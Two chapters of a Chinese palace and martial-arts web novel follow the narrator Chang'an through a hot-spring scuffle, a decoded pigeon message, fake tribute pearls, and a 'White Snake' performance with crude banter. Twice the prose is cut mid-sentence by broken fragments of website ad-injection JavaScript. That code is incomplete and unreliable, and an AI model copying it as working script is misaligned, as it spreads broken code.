我不等他说完转身就跑,赶紧躲到刘景身边。刘景下完一手棋,一把揽过我,奇怪道:“怎么吓成这样?”见我脸上脖子上背上全是汗,拿出帕子便帮我擦。 我喘着粗气不说话,逍遥王哈哈道:“怕是先前仗着武艺高,欺负韩家那小子,这会儿打不过他了,怕他报复。” “哈哈哈哈……你放心,有朕在,他不敢。”说完刘景,将腰间玉佩给我,道:“持此玉佩,如朕亲临,他见了你不仅不敢欺负你,还得跪你,听你差遣。” “哦。真的?那这可是好东西啊。谢主隆恩。啦啦啦啦啦,我去收麦子去喽!”我立马来了精神,浑身是劲儿,把玉佩挂在胸前最显眼的地方,挺着肚子,大摇大摆的回到稷田里继续干活。 刘景见我这样子,哈哈大笑。 我们割麦子,收麦子,打麦子,装麦子……一气呵成,梁王第二天起了一个大早,到地里一看,稷麦都收完了,气得捶胸顿足! 日暮十分,我们就把农活干完了,刘景带着我们去汤泉宫泡温泉解乏。我太累了,好不容易这两天才达到玄止境,解蛊流失了心头精血,与人打斗一番消耗也很大,又输了七成内力给齐王,又干了一下午农活,晚膳十分丰富,可我只随意吃了点,便回房中擦洗一下身子,更衣睡下了。 我做了一个梦魇,吓得惊叫哭喊害怕。正在泡汤泉的刘景随意穿了件浴袍,便光着脚循声快步而来,将我抱起,像哄梦中惊啼的儿女一般,摇着身子,温柔抚摸:“别怕,别怕,我的好长安,不怕不怕。” 我内心顿时安宁许多,可那梦魇实在恐怖,我仿佛还在其中,闭着眼睛,哭道:“我怕,我好害怕,我今日用了禁术,还那么残忍的将人虐杀,一定会有报应的,师父给我托梦了,他让我赶紧走,我迟疑了一下,一把山一样的青龙偃月刀,就朝着我劈头砍下,给我劈得粉身碎骨……我害怕,我害怕。” “别怕,别怕,爹……我在我在,别怕啊别怕,那不是你的错,是那贱人罪有应得,我长安惩恶扬善是有福报的,梦都是反的。”刘景柔声安慰我,紧了紧怀抱,企图让我更安心些。 我实在惊恐,反复哭闹,刘景耐心地安抚我哄着我,他像父亲一样,终于我安静下来,在他温暖的怀里,闭着眼睛点点头,困意再次袭来,我安心睡去。 太子进来,轻声叫了一声,“爹爹。” 刘景看着怀里的人儿,道:“大宝,那年,我抱着相相去看病,夜里走山路,是我不好,出门着急,忘了带一盏灯照明,夜黑风高的,山猫野兽的叫声,吓得相相害怕,就哭喊‘爹爹,我害怕,我害怕……’我就这么抱着她……再有两天,再等两天……她都没等爹爹登基册封她做公主……”刘景伤心不能自已,痛哭流涕。 “爹爹……妹妹……妹妹不会怨爹爹的……爹爹别伤心,妹妹泉下有知,会不安心的……”太子哽咽哭泣,心疼爹爹,也怀念妹妹。 外面夜宴正酣,我醒来的时候,发现自己居然睡在汤泉宫正宫后殿——刘景的寝宫里,问了宫人才道是我之前小憩梦魇,陛下不放心我一个人在偏殿,特地把我抱过来的。 我恍惚间对梦魇有些印象,暗自蹙眉:糟糕,居然睡这么死,一点警觉也没有,大意大意。 我一边摇头一边走出寝宫,忽然警觉,还没做好应对,就听见韩燕熙道:“你给我下去吧。”话音未落,我已然被他拽着领子扔出去。 刘景的寝宫前殿就是他们大摆夜宴的汤泉宫正宫大殿,正殿一侧有引来的温泉水做的汤池,那韩燕熙见我一出寝宫,就立即坏心思上头,要让我好看。 我哪能让他得逞,落水瞬间顺手抓住他身上可抓之物,将他一并带入水中。 入水后他自顾不暇,我飞身出水,看着一脸痛苦趴在汤池边缓不过劲儿,也说不出话的韩燕熙,我又惊恐又愧疚,赶紧躲在柱子后面,漏出半张脸,小声愧疚道:“谁,谁叫你偷袭我,我,我不是故意的,我胡乱一抓而已,要不,我拿内力给你治治?” 齐王上前拉着我的手,问道:“你有没有事?” “没,没有。”我惊魂未定,眼睛看着韩燕熙,思考接下来该怎么办,只有他和我知道,我当时本能的一抓,到底多用力。 齐王一向很有亲王的威严,看了看韩燕熙,又柔声对我道:“你今日耗费的内力够多了,看样子这厮平日里也不少欺负你,你别管他。” “没关系,那么小小的部位,就一点点内力就行了。真的,就一点点点点,要不了多少。”我知道齐王是担心我的身体,便向齐王保证。 韩燕熙听我这么说,原本因为憋痛额角脖子上鼓起的青筋更粗了些,脸色也更阴沉,凶凶地看着我咬了咬牙,别过头去。 我吓得一哆嗦,心里暗暗发誓,一定要加紧练功,而且以后不能这样掏心掏肺不顾后果的给人输内力了,我果真是越来越大胆了,没了章法限制,就肆意妄为起来,苏和要是知道,一定会气死的,会像小时候一样打我屁股的。 齐王抽了抽嘴角,好像忍着笑,侧头对我道:“别怕他报复,你跟着我,到我身边来,我护着你,他不敢把你怎么样。” “你,你护着我啊?那感情好啊。”有人护着,我自然是很开心的,说着用内力震干头发衣物,上前一把拥住齐王的腰,仰头很崇拜地看着他。 齐王喜欢我依仗他崇拜他,笑着点点头,牵着我的手入席。韩燕熙好一会儿才起身更衣,须臾入席,在太子身边坐定,果然没有再找我麻烦。 我收回警惕的目光,手里摩挲着刘景赐给我的玉,嘴里吃着齐王喂过来的美味,思来想去,“如朕亲临……也得有机会拿出来才行。”像刚才哪种情形,我就算是有免死金牌这么大的大招,也来不及放。“这些东西到底都是外物,到底不如权力加身来的直接。” 我又看了看韩燕熙,眼睛转了转,示意齐王不用喂了,端起茶杯抿了一口,思来想去,想去思来,看了看齐王,又看了看韩燕熙,齐王是个书呆子,这么废柴,还有荒淫的“美誉”,韩燕熙也不敢轻易逾矩僭越,我一身武艺,强胜时,韩燕熙都随意招惹,一旦衰弱,韩燕熙便肆无忌惮。我一边想着,一边自顾自道:“权力真是好东西哈,可比内力好使多了。” 我将玉佩收好,讨好似得给齐王捶腿捏肩,道:“樟樟。” “嗯?”齐王很是享受我的伺候。 “你以前答应我说咱们天下第一最最好,还算数吧?”我试探这问。 “算数啊。”齐王温柔地点点头,看着我的眼睛闪闪发光,就像小时候一样。 我一脸喜色,趴在他肩头,给他整理着原本就一丝不苟的鬓角,讨好道:“樟樟,那咱俩天下第一最最好,那这个齐王咱俩谁当不都一样吗,你……你让我当这个齐王吧,呸……”刚一说完,我就意识到不对,但说出去的话,泼出去的水,想收回已经来不及了。 众人闻言哈哈大笑。 我懊悔又嫌弃地瞪了一眼齐王,恼得不行,噘着嘴巴,发牢骚:“果然跟着你,我就只能当王 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 八。”虽然这笑话是我口误闹起来的,但是齐王还是满脸歉意,并不跟着别人一起大笑,低声耳语道:“你跟我回代国,你想干什么干什么,谁也不敢欺负你。” “不回去,你们以前都是跟着我屁股后面混的。”我趴在几案上,双手托着脸,怒气未消的样子,道:“现在你都长那么老高了,我猜那些人也都长得高高大大的,我踮起脚尖,才到你们肚脐眼儿,回去整日跟在你们屁股后面闻屁吃啊,当王八我已经够糟心了,不去!”想着小时候被我欺压的玩伴儿,见到我如今的样子,定会大肆嘲笑,画面感极强,我越想越生气,转过身去,背对席上的人,独自伤悲。 忽然,我瞥见窗外飞过一只鸽子,又连续飞过两只,没听见齐王说了什么,快步走到窗边。负责宫廷安全的禁卫军统领李远正警觉地带着禁卫军搭弓要射,我看了看天上飞行的鸽子,刚要开口,几支箭已经射空。 齐王走过来道:“还都是你养的?” 我道:“要是我的那感情好了。”又对着禁卫军道:“这是经过专门训练的信鸽,是信鸽里的顶级南唐夜行鸽,一万只里出一只,飞行速度极快,遇到危险,听风辩位,走位刁钻,用箭射不下来的。” 有人不信,试了几箭,果然失败。信鸽飞远,我打算坐回席上,不料又来两只……我赶紧跨出窗外。 “这……还没完了,我都打算不凑热闹了,这一只一只没完没了的,不是纯纯勾搭我吗?事出无常的,我不掺和一下,天理不容啊。”说完对着天空,学了几种鸽子叫,然后试探性地伸手等了一会儿,一只雪白的白鸽落在我手上。“哟呵,真下来啦!” 我抱着白鸽和齐王一起回席,将白鸽交给他抱好,取出白鸽腿上的密信。旦公公将宫灯送到我眼前,我赞赏的看了看旦公公。用宫灯将蜡封烤软,取出密信,齐王也探头过来扭着脖子看:“这写的什么啊?” “啧,哎,有意思,用了最高级别的密文!”我整个人兴奋起来,知道要发生大事啦。聚心会神,仔细破解密文,一盏茶的功夫,我长长舒了口气,“早知道当初就不把密文等级设这么高这么难了,堂……哦,差点忘了。”我自言自语道,有点失落,这时候要是堂邑夫在就好了。 “这密文你懂……”齐王迟疑的问道。 “哦,我可是江湖上有名号的人,你可别打听哈,不然我连你也灭口啦哈。我不跟你开玩笑哦,你当时睡着了你不知道你那爱妾,临死前可是一再让我放过她呢,她从朝廷的人手里逃脱,必然隐身江湖,我若不松口留她一命,她便躲无可躲,死路一条。她连死都不敢叫我名号呢,可想而知我有多厉害了吧?”我一边满脸神秘地吓唬齐王,一边将密文原封不动得放回去,走到窗边把鸽子放飞。 旦公公已经抱着一大海碗烈酒过来,我走回去,将手泡进去,夸赞道:“旦公公真是人才啊,我这么多年前的习惯,您还记得啊。” “那是自然,您可是奴才最最崇拜的懒懒大王霸!”旦公公一脸奴才相。 我立即收了笑容,板下脸,白了他一眼,洗干净自己的手,又像小时候一样,很自然地给齐王洗手,只是现在他的手太大了,只能一只一只的浸泡清洗,我洗完手掌,又一根手指一根手指给他清洗。 “你……”齐王很享受我对他的伺候,他知道我是不会杀他灭口的,那些话都是吓唬他的,便又经不住好奇。 我知他想问什么,可是这个场合,我实在不好和他说太多,“哎呦,英雄不问出身,我现在是朝廷的鹰犬,走狗,过往的事儿翻篇了。”我拿着毛巾给他仔细擦拭干净一只手,又开始洗另一只。 “懒懒,咱们干什么每次抱完鸽子都用烈酒洗手啊。”齐王加重了每次二字。 我心里有事,没察觉他叫我什么,只本能地回复问题:“小时候不是和你说过的吗,你忘记啦,鸽子身上是很脏的,不好好洗手会生病的。” 44. 星靥 “那刚才的密信……”齐王和小时候一样,性子一点也没变,简直是个好奇宝宝,总是问东问西的。 “嘘,话有些多哦,想知道自己去抓啊,抓完了自己去破解去看啊,干嘛老从我嘴里捡现成的吃。好啦,洗白白了,继续堵上你的嘴吧。”我把齐王另一只手擦干净,把毛巾放到旦公公的托盘上,转身拿了一块糕点塞进齐王嘴巴里,然后伏案支着下巴想事情,还习惯性地顺手沾了茶水,在几案上写写画画,算时辰算日子。 齐王一边吃糕点,一边问:“你干嘛把密信放回去,还把鸽子也放了?” 我一边算着,一边不经意地回答道:“当然要放走啊,打草惊蛇多不好,有些事情要急事急办,有些事情得慢慢等,我喜欢以不变应万变,我喜欢陪着对手演到最后,在他们以为神不知鬼不觉马上大功告成的时候,釜底抽薪,一锅端,又好玩又过瘾。我向来不喜欢防患于未然,过早地把对方扼杀在摇篮里,多没意思,人生大舞台,也得给对手留足戏份儿施展施展,不然就几个主角一天到晚的瞎蹦跶,其他人都是背景陪衬,也没意思,不好玩……”说着撇了一眼齐王,见他嘴角有糕点残渣,便习惯性的随手给他擦了,然后又专心致志的计算。 我好像听见韩燕熙还是李椒,说了一句什么话,也没太听清,大约是:性情如此反复,怎么说都是他最有理云云。我原不在意别人的看法,又正思考重要的要紧事,便未做反应。 在我看来很正常的朋友之间的爱护,在齐王看来竟然成了亲昵的举动,只觉嘴角被我轻轻抚摸后似有酥麻之感,他顿了一下,随即一脸娇羞,一会儿低头浅笑,一会儿抿嘴扶额,百般做作,一会儿又抬头清嗓子,一会儿又满眼深情,痴汉一样看我,扭捏作态。 我早就察觉他的古怪,只是一直抽不出心神,这会儿正验证排除一个算法,无意扫了这副死德行的齐王一眼,复又斜眼定睛确认他是否真的有病,不禁蹙眉,脸上的神色越来越嫌弃,只是还没最终算完,暂且忍着。 终于还是忍不住,停下,咬牙道:“你弄那副死相作甚,恶心谁呢?跟谁学的,你的那个死贱妾吗?” 齐王立时脸红脖子粗,尴尬不已,被我骂的无地自容,收回心神,连连否认,正襟危坐,恢复翩翩君子的样子。 我才满意的瞪了他一眼,继续盘算。 须臾齐王又开始作妖,他回头给旦公公低语几句,旦公公领命下去,捧着一个精美的盒子回来,齐王打开盒子,取出两个短簪,簪子顶端镶着自带荧光的珠子。 我自顾自忙碌,齐王拿着簪子左右端详,在我的总角上左插右插,终于找好了位置插好,然后和旦公公一起欣赏,旦公公似乎还给齐王竖了大拇指,频频点头称赞齐王好眼光。 我又排除了一答案,心中恼火,不自觉的摸了摸总角,将东西摘下来,蹙着眉头,厌恶地问:“这什么破玩意儿,亮了吧唧的插‘我总角上,跟顶俩油灯一样?” “这是夜明珠,说是南海鲛人眼泪化成的。”齐王一副这是好东西,你别不识货的样子。 “哪来的?”我看了看,一脸轻蔑。夜明珠,鲛人泪,那是我小时候玩腻了的东西好吗? “进贡的。” 我把两个内行人一看就很假很假的“夜明珠”短簪,递给旦公公,看着齐王,然后愁闷地抹了把脸,长长输了口气,浑身充满被齐王搞得有些欲哭无泪的无力感,“你是不是傻?封国进贡,向来都是本国产物,你,代国的国界都到海南了?你是不是彪,你代国连个大点的水泡子都没有,哪个大傻子给你这个大傻子进贡南海的夜明珠,脑子呢,我看你还有脑子吧!我看我看看……”说着我就起身扒拉他脑袋,他也不反抗,被我揪着头发,有些疼,脸皱成一团,却只敢张着嘴巴哈气啊呜,不敢叫出声来,更不敢喊疼,“咱们小时候看书,说有一种美人蛇专门吃人脑子,你是脑子给吃了吧?”说着我拽着齐王的耳朵,拧他,“还什么鲛人眼泪,一眼假的东西,就会发点亮光,你就当个宝贝,你是不是还给那进贡的人升官加爵了?是不是?”齐王委屈巴巴的看着我沉默不语,一看就是被我说着了,旦公公退得老远。 我瞪了一眼齐王,又在他胳膊上打了几下,刚要坐回去继续盘算,忽然想起来一个事儿,又气得不行,便又揪着他耳朵道:“你是不是之前送给你那个什么懒美人没送出去,这才又转头要送给我的吧?你……你真是……你别是书真读狗肚子里,让我给吃了吧,你不也吃了吗,怎么长大了……单纯成这样?你不是单纯,你单单就是蠢。”我嫌弃极了,咬着牙,使劲儿掐他胳膊。 “可能我家王爷吃的少,且那部分狗肉是书皮,涵盖的学问不是很多,您吃得多,都是书瓤。”旦公公在柱子后面,小声道,极力护着齐王。 我一副吃屎的样子,看旦公公又将假珠子小心翼翼放进盒子收好,气道:“这跨不过去的坎,就拆了,握不住的沙子,就扬了,看走眼的东西赶紧扔了,留着没用,看着添堵,窝囊死了,跟自己多大仇,这么难为自己,非要和自己这么过不去,这么膈应自己?!还愣着干啥?扔了扔了赶紧扔了!”说完转身继续在几案比划盘算,不再理会那对单蠢到让人心生可怜的主仆。 “你在笔算什么?”齐王一边揉着被我打过掐过拧过的地方,一边老实巴交地凑过来问。 “滚。”我越算越不开心,正发烦。 “哦。”齐王老老实实的坐在一边。 许久,最后叹了口气,塌陷肩膀,好一顿失落,看着几案上渐渐干了的水渍,道:“樟樟,我对你可实在是太好了,一下子就给你七成功力,我接下来可能要办一件大事,我这算了半天,最佳也是只能再恢复五成,无论如何我都赶不及在那之前修炼出足够的内力了,唉,差两成功力呢!千载难逢的机会啊,要是成了,说不定我要名垂青史,彪炳春秋了,说不定还真能弄个王公侯爷当当,唉,可惜啊可惜,这下没有十足的把握呢,得把功劳分出去了,功劳一分,还有什么意思啊,哎,有些东西看来还真是命里有时终须有,命里无时莫强求啊,就像你这个大傻子,偏偏生来就是皇子,头脑再不济也能做个昏庸的王爷。” “很要紧的事儿吗?那,那你可以再拿回去一些内力,我好像也用不了那么多。”齐王很认真的道,说着还向我挺了挺胸口,靠了靠。 “内力在你身体里转了一圈,就和我之前的不一样了,沾了你的浑浊之气,我才不要。”我没好气地伸手把他推回去,“吃进去的饭可以吐出来,拉出去的屎,你见过有塞回去的啊?”说完我不理他,径直走到上位的刘景身边,趴在他耳边低语。他听完看了看太子,又看了看一众儿子,难掩担忧,我怕他露馅,就赶紧在他耳边又说了几句。刘景思考了一下,点点头。 我道:“那事成之后,陛下赏赐我啥?” “你,想要啥?”刘景宠溺地看着我问。 我一时有些不好意思开口要了,但是想起当初鱼精身上的鳞片,心中的懊悔又涌上心头,便鼓起勇气,道:“封王,公,侯……”见刘景神色不自然,便赶紧改口:“也不大现实,嗯,我也不贪心,就官大一点,让韩燕熙忌惮我,不敢招惹我就行。” 刘景点点头,却忍不住瞪着那个坐在席中不知在意淫什么一脸花痴模样的不争气的儿子——齐王。刘景对他又爱又恨,终成恼怒,又因为心疼他才糟了大罪,身体还很虚弱,便隐忍怒气轻易不想发作,只不停用鼻子出气。 我倒了杯茶,端给他,劝道:“陛下,不要生气,生气对身体不好,不成器也不能怪他,除了太子殿下,其他皇子没成年之前,都是在内宫跟着师傅读书的,成年以后到了封国,身边的人也是良莠不齐,齐王又离京早,他已经是酷爱读书的了,没人指点也就那样。虽说是虎父无犬子,但是龙生九子各有不同,皇帝的儿子有一个有出息就行了,都才高八斗的,陛下也头疼。” 刘景觉得我说的很对,脸色舒缓点点头,看了一圈儿子们,满意的欣赏了一下太子,眼里全是喜欢,然后才收回视线,在我耳边低声问道:“确定和南唐有关?” 我低声回复道:“也不排除有人高价买了南唐的信鸽混淆视听。” 刘景闻言看着我低声耳语,道:“七月中……日子还早,暂且以不变应万变,看看再说吧,一锅端,才过瘾。” 我挑了挑眉,万分欣喜,道:“知己呀!陛下竟然知我心中所想?!知己啊知己!!”我开怀极了,默契地和刘景击掌。 刘景呵呵一笑,道:“你……有个习惯很好,要保持住。” “好好好。”我满脸堆笑,嘴上答应着,心里不禁嘀咕,“有个”?我所有习惯都很好的好吧,怎么会只有一个呢? 晚上我在刘景寝宫运功打坐,他跟着我练了一个时辰,就去睡了。 寝宫内殿有一个更加精美的汤泉池子,和前殿的大大长长的汤泉池子同源,内殿的汤泉池子是上游,地势也要高一些,两个池子之间有一片密密的小竹林和假山隔开,小竹林里有蜿蜒的小径,一虹小拱桥横亘在泉水溪流之上,再往下就是前殿汤泉水池头上的小瀑布了。 天气燥热,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便脱了衣服,潜到内殿汤泉池底,像是在母亲的子宫里,我舒服地蜷缩着身子,运气调息…… 汤泉宫汤泉很是滋养,四季常温,冬暖夏凉。我发现在汤泉池底潜水闭气运功,内力回升要稍稍快一些,于是我跟刘景说我要在这里多住些日子,刘景欣然答应,招呼众人一起小住。 汤泉宫离学宫也不远,也不耽误太子和伴读们读书。我还特地请了特许,让堂邑夫也来。李椒一听见堂邑夫的名字就急眼,不管不顾,双手握拳,脸色十分难看,李大公子频频给弟弟使眼色,示意他爹爹李远也在,他才收敛。 用过早膳,我便去刘景寝宫内殿的汤泉池底练功,借了太子护卫李大公子,守在池边为我护法。李大公子为人我是一百个赞赏,有他护法,我是万万安心的。 一个半时辰,我从水里上来,李大公子上前递上毛巾,我能潜水这么久,他一脸惊奇,却并不多问,退了出去。 陛下太子他们在外殿审阅奏章处理政务,亲王世子们不可干涉政务,便在下面看书,大殿里只有翻动纸张的声音。我才更衣出了寝宫,在外殿看书的齐王就迎上来引我入座,端茶递水一番关心。 他身体还是虚弱,我给他搭脉诊断,小声道:“嗯……太后寿辰以后,你先别走,请旨在京多留些时日,我给你调理下身体。你现只是靠内力撑着,感觉身强体健的,不过都是表相罢了,要是因此大意休养不好,亏空得更很了,内力也无法支撑,反而难办了,我给你开些药,你好好吃着。” 惠王端了一些樱桃给我,我也给他把了一下平安脉。那天在平昭公主府上留宿,晚上我们谈心,谈了好多好多,直到深夜,我把他还能生育的事和他说了,我说他是一个完完好好的正常人,可他听了好像并没有很高兴的样子。我又强调了一下我给他开的药的用法,让他行房事前别忘了喝,说等到太后薨了,就可以光明正大,娶妻纳妾要孩子了。要是有人问起来,就说是先帝护佑,他身子奇迹般的好了,是而子孙绵延。 他沉默良久,说:“我愿终身不娶,终身无后,换你奇迹般的长大。” 我闻言甚是感动,仰着头,深深看着月色下的他,道:“别胡说,我喜欢孩子,你一定要子孙满堂,不然我以后就没有玩伴了。”内心很是凄凉…… 他凑过来从身后环住我,我安心的倚在他怀里,我们一同看着天上的月亮,谁都没有再说话。 惠王伸手接住我吐出的樱桃核,给我擦了擦嘴角,齐王不悦的看着惠王,我翻眼皮,冷声道:“你跟你那个死贱妾学了不少精髓啊?我眼里揉不得沙子,见不得那些乌七八糟的脏东西,你好好读书,做个坦荡荡的君子,咱们还能做朋友,不然就干脆别读书了,省得污了这书上的圣贤道理,咱们也当从来不认识。”说着我拽着齐王耳朵,在他耳边低声耳语:“别想那些乱七八糟的事了,我病了,一辈子就这样了,咱们只能是兄弟。” 齐王闻言身子震了震,惠王也神色忧伤,我低头开着药方……将药方子交给旦公公,吩咐他如何煎药,如何伺候他家王爷服用。旦公公把之前按我吩咐整理好的账簿给我,便拿着药方退下了。 我一边翻阅账簿,一边对齐王的宠妾之举刷新认知,思考如何归拢这些耗资巨大的财富。 “你在月老祠给我送的祝福是什么?”齐王揉着耳朵问道。 “你自己去找找看。”我低头看着账簿,轻声道。 “怎么可能找的到?”齐王低着头噘着嘴,可怜巴巴的道。那月老祠灵验的很,祠堂前那个树上的许愿丝带成千上万的…… “嗯,也没什么不好说的。”说着我抬手拿起几案上的毛笔,沾了墨汁,取过一张蜡染笺,娟秀的小字缓缓书写:愿君此生常星靥,眸是如意眸,吉祥上眉山,恨不落心头。 齐王和惠王,低声缓缓念了两遍,神色各异。 我对齐王郑重道:“要配的上我对你的祝福,不然我就再不理你了。” 齐王微红着眼睛,闪着泪光,点点头,将小笺折好,放进腰间的荷包里。 惠王又喂给我一个樱桃,眼里闪烁了一下,我定睛再看,却只剩他一贯的温柔浅笑,我恍惚觉得是我看错了,低头继续看书,继续把核吐在他手上,继续吃他喂的樱桃…… 后来齐王有回去代国晋阳的月老祠认认真真找过我给他写的祝福丝带,却怎么也找不到。惠王说用心找怎么也找得到,成千上万的丝带算什么,天下人那么多,我们还不是能遇到长安。我微微一笑,没说什么。只感动惠王居然把我的那条丝带收藏了那么多年…… 45. 看戏 芒种是一年最忙的节气,收完麦子,就要种新的作物,去年种的小米,今年打算种玉米。翻地,平地,施肥歇地,撒种,育苗…… 今年,由梁王开犁,大概只有刘景哥仨心不在焉地在树荫下做观众,梁王看他们有说有笑,也不认真做观众,真心看他表演,心里意不平,便又出幺蛾子,他才犁了两垄,就给腰闪着了。 当时太子亲王们和世子伴读们打算去上林苑骑射,才牵着马匹,浩浩荡荡出了马场,就被叫回去种地了。在汤泉宫陪着我的齐王也被叫去种地。 有堂邑夫给我护法,我安心在汤泉池底恢复内力。 他脸上的伤好了,一点也看不出痕迹,但是笑起来会有一道凹陷。实际上他身上也有不少这些年出生入死受的伤,只是皮相让我修复的很好,看不出疤痕而已,但是他身上每道伤,我都清楚的记得位置,何时受的伤,伤得有多重…… 我从水里上来,和堂邑夫闲聊几句,悠闲的坐在池边用脚踢水花,他脱了衣服,只穿了短裤,下到汤泉里,舒服地飘在水面上,翻泳扑腾,开怀大叫:“呜呼,舒服,畅快。” 看着他修长健美的身躯,我看了看自己小小的脚丫短短的腿,低头偷偷叹了口气。 我和堂邑夫说了一下密文和南唐夜行鸽的事,他会意点点头,又继续在水里疯玩。这件事交给他,我就不用费心管了。 堂邑夫说柳花郎的戏剧《白蛇传》在长安城里大火,几个戏院都一票难求,原本就想等着农忙结束,咱们一起去看的,也总是买不到票。他和平安说跟柳花郎走个后门,管剧院老板要几张票。平安建议他看柳花郎与宫中乐府艺人亲自出演的宫廷原版,叫他来找我,问问能不能直接跟上位者要个恩典,蹭戏看。 那这还不是小意思吗?时辰正好,这会儿请旨,过午就能看上,我赶紧去了稷田。 刘景自然同意,看着我还是大花脸,便亲自去采摘了一些还没熟的,青青的桑葚果子,揉碎了,在我嘴巴脸蛋上搓,不一会儿青紫色的印子就浅了。我一边照着小铜镜一边夸他见多识广,又问他为啥之前不给我弄。他说之前喜欢我那样子,看着开心。他说这法子是他娘子教他的,随后就陷入回忆…… 我以为柳花郎会扮演许仙,没想到竟是法海那个老秃驴。他一出场,我就不看了,去找平安。《白蛇传》的故事,平安耳熟能详,荣玥和荣珺在宫里也都看过好几遍了,这会儿在后殿央着平安一起做指甲。 天气渐渐热了,带着帷帽实在憋闷,可太阳又太烈,所以平安不怎么出门了。今日来汤泉宫找我玩,外男太多,她一个漂亮姑娘,怕招惹不必要的麻烦,就别出心裁,用油彩画了山海经里名为夫诸的四角神鹿的妆造,白粉遮面。荣玥和荣珺两位公主也一起做了青鸾朱雀的妆造。我看着很好看,就让平安也给我画一个。 平安最近母性大爆发,看着孩子就喜欢得不得了。邻里邻居的孩子闲着没事都往她的小院子跑,平安给他们做糖贻,做糕点果饮,还给幼小的孩子梳洗,缝补衣服…… 平安一边给我画妆容,一边不自觉的像个慈母一般念叨,我们长安好可爱啊,好讨人喜欢啊,好乖哦云云之类的话,有时候会忍不住亲亲我。我自然很是享受,乖乖的站在她面前,仰着头让她帮我化妆。 油彩是柳花郎帮着改造过的,还加了一些苏和给的美容药材,抹在脸上不觉得厚重,反而很是滋养舒服。 外面的戏剧一幕接着一幕,这会儿正是中场休息,大家惬意的谈论,刘景让众人不必拘束,带头说笑,好不轻松自在。 “我们长安怎么这么可爱啊,古灵精怪的。”平安真是怎么看我怎么喜欢,简直被我迷住,星星眼,不住赞叹,“哇,小脸肉嘟嘟的呢,软软的,好可爱啊。” “是啊,真是可爱。”荣玥和荣珺也很喜欢我。可是我被太多人喜欢了,习以为常,并没有受宠若惊的样子,这让两位公主对我更加另眼相看,啊哈哈哈哈…… “来张开嘴巴,我看看最近有没有偷吃糖果,牙齿有没有坏。”平安轻轻托住我的下巴,道:“还有几个乳牙没有换,要好好爱护,不然就成豁牙子了哦,来张嘴巴,我看看……” “知道了,啊——噫——”我听话的张开嘴巴,让平安看我后槽牙,又呲着牙,让平安检查我的前牙…… 见那几个残兵弱将没有变的更糟糕,平安很满意,点点头,接着给我画妆造。 “为什么只用黑色和白色,我要彩色,我喜欢这个这个还有这个,我要彩色。”我见平安只用黑白两种颜色,便有些不好的预感,不乐意了,这能画出什么好看的来,于是央求着要加颜色,指着我喜欢的色彩,让她给我画脸上。 “哎呦,不要动啊,会画偏的,就不美了哦。”平安不理我,只一边说着一边很仔细地给我嘴巴两边画线,说是在画胡须。 哦?是雄性神兽!我有点期待。 不一会儿,“画好了。”平安收笔,我迫不及待的跑到镜子前,顿时气得不行,很失望,不满意的嗔怪,“这是什么啊,平安?这是鬼吗?是鬼吧!为什么给我画这样,我不要,我不要,我不要,凭什么你们画这么好看,我就这么难看。” “哎呦哪里难看了,这是熊猫妆啊,熊猫是国宝,也是山海经里的神兽,是上古大神蚩尤的坐骑,厉害得很。” “什么国宝,哪个国的宝,我才不要做什么大神的坐骑,我不管,我不要,看起来真的很难看,啊……太难看了,我要擦掉。”我闹着别扭,作势要擦,平安赶紧抓住我的手,不等她说话,荣珺过来牵着我另一只手安慰道:“长安哥哥,你又不是女孩子,你要这么好看做什么,男孩子这样的妆造很好啊。” 我不再说话,只撅着嘴巴低着头,不开心,平安看了看我,柔声笑道:“这个油彩得用卸妆油才洗得掉,不然会搞得满脸乌漆嘛黑的,那才是真的难看。卸妆油在柳花郎那里,我们的妆也都是花郎画的,要不待会他演出结束,你找他卸了重新画好了。” “啊,原来漂亮的是他画的,你不早说。”我简直懊恼死了。 “哎呦,你不要嫌弃我画得不好又嫌我不早说啊,你又没早问,上来就缠着我画,我明明很用心很用心的啊,虽然结果你不满意,但是被接连嫌弃,我好伤心啊。”平安很难过的样子,转身坐回去,继续和荣玥做指甲,“早知道这样,我就好好和大公主一起做指甲了。” “画成这样不被嫌弃,自己也会不好意思的吧。”我也不乐意了,说着生气地走出内殿,正殿正在闲话的众人看着我的样子,先是一愣随后哄堂大笑,我才后知后觉,更加生气地一跺脚,转身厚着脸皮回到内殿。 平安见我闷闷不乐,便给我做了时新的水果沙拉,我吃着心情果然好了很多,“这个《白蛇传》一点也不好看,真不知道哪里就这么一票难求。法海还真是多事,人家两口子的事儿,管他什么事,我要是许仙,我就和白娘子商量一下,智斗法海,假意把白娘子让给法海,看法海能不能睡下去,睡不下去,就让他闭嘴。” “睡下去的话呢?”平安一边喂我一边问。 “我笃定法海睡不下去,他是个出家人,要持戒的!不过要睡下去的话……那法海对白娘子也是真爱啊,那许仙就把这条蛇送他了,再找一条新的不就行了,人家用过的多少有些不干净吧。”故事我不太感兴趣,只了解了个大概,主旨体会的并不深刻,所以不负责任地我胡言乱语着,说完拿过平安手里的小果叉,狼吞虎咽地大口大口吃水果沙拉。 不得不说平安的手艺很不错,荣玥和荣珺新做了指甲,也翘着兰花指,慢慢品尝平安做的水果沙拉。 “哎呦长安你乱说什么,你果然还是个孩子,什么都不懂呢。”平安帮我擦擦嘴角,责怪我不懂就乱说。 我是理亏的,可是我最近特别讨厌被别人当孩子对待,平安也不行。于是,我闻言看着平安故作傲慢,仰着下巴,嘴硬道:“我才不是小孩子,我懂啊,我可懂啦,我懂得很,我懂的你都不懂,好像是我的意思你可能没懂才对。” “你什么意思我没懂啊?”平安被我气笑了。 我坏坏地笑着,“我的意思是,让白娘子变成蛇,再让法海睡。” “变成蛇?再睡?你胡说什么?物种都不一样了怎么……”有两位公主在场,平安没再说下去,自己吃了一口水果沙拉,掩饰尴尬。 可我并不打算结束话题,“形状都差不多啊,把牙拔了不就可以啦……” 平安羞愤娇嗔道:“哎呀长安!胡说八道的,这些年没人管教你,你,你怎么坏成这样子,是被堂邑夫拐带坏的吗?简直是个污妖王,幸好公主年幼,听不懂。” “胡说八道我承认,但是这些年都是我师父师兄管我,我好得很,经常遭到表扬,除了你我都没怎么受到批评过,哼,堂邑夫也不坏,也不会把我拐带坏!”我习惯性护短,不等平安反驳,我眼睛一转一挑眉,意味深长地道:“哦?这么说……你懂啦。”我一脸坏笑,“你也……好坏……” 